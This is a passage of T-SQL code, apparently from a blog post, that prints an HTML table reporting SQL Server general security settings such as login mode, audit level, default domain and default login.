< TR BGCOLOR="EEEEEE" > < TD CLASS="Title" COLSPAN="2" ALIGN="center" VALIGN="top" > < B > < A > GENERAL SECURITY< /B > < /A > < /TD > < /TR >
'
print @strHTML
set @strHTML = '< TR > < TD VALIGN= "top" > < I > Login Mode < /I > < /TD > < TD VALIGN= "top" > ' +
+@LoginMode+' < /TD > '+
'< TR > < TD VALIGN= "top" > < I > Audit Level< /I > < /TD > < TD VALIGN= "top" > ' +
+@AuditLevel+' < /TD > < /TR > ' +
'< TR > < TD VALIGN= "top" > < I > Default Domain< /I > < /TD > < TD VALIGN= "top" > ' +
+@DefaultDomain+' < /TD > < /TR > '+
'< TR > < TD VALIGN= "top" > < I > Default Login< /I > < /TD > < TD VALIGN= "top" > ' +
+@DefaultLogin+' < /TD > < /TR > < /TABLE > < BR > '
print @strHTML
Suscribirse a:
Entradas (Atom)